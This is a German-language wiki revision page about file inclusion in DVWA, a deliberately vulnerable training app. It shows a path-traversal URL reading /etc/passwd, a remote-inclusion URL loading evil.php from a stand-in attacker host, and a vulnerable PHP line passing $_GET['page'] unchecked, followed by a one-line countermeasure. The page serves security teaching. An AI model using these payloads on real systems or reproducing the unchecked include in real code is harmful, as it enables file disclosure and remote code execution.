DVWA File Inclusion: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
*Ausführen einer Datei, die lokal auf dem Server vorliegt. | *Ausführen einer Datei, die lokal auf dem Server vorliegt. | ||
*z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd) | *z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd) | ||
| − | |||
[[Datei:DVWA-fileinclusion-1.png|1000px]] | [[Datei:DVWA-fileinclusion-1.png|1000px]] | ||
| Zeile 11: | Zeile 10: | ||
*Download und Ausführen einer Datei von extern. | *Download und Ausführen einer Datei von extern. | ||
*z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php | *z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php | ||
| + | |||
| + | =Ursache= | ||
| + | *Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung. | ||
| + | *z. Bsp. PHP: | ||
| + | <nowiki> | ||
| + | <?php | ||
| + | // The page we wish to display | ||
| + | $file = $_GET[ 'page' ]; | ||
| + | ... | ||
| + | </nowiki> | ||
| + | |||
| + | =Gegenmassnahmen= | ||
| + | *Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen. | ||
Version vom 15. Juni 2021, 13:42 Uhr
- Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.
Local File Inclusion
- Ausführen einer Datei, die lokal auf dem Server vorliegt.
- z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)
Remote File Inclusion
- Download und Ausführen einer Datei von extern.
- z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php
Ursache
- Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
- z. Bsp. PHP:
<?php // The page we wish to display $file = $_GET[ 'page' ]; ...
Gegenmassnahmen
- Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.